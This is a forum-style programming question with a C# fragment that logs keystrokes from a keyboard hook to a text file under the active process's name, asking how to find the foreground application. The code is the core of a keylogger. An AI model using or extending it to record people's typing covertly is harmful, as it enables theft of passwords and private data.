I made a program to get the current user process, but only what it takes is " ConsoleApplication1.vshost "( ConsoleApplication1 is the name of the program), even in windows like Google Chrome, etc. Code:
Process process = Process.GetCurrentProcess();
int vkCode = Marshal.ReadInt32(lParam);
StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
process = Process.GetCurrentProcess();
if (x == process.ProcessName)
sw.Write((Keys)vkCode);
else
{
x = process.ProcessName;
sw.Write("\n{0}", x);
}
sw.Close();
Am I doing this the wrong way? How can I get the current process that the user is using right?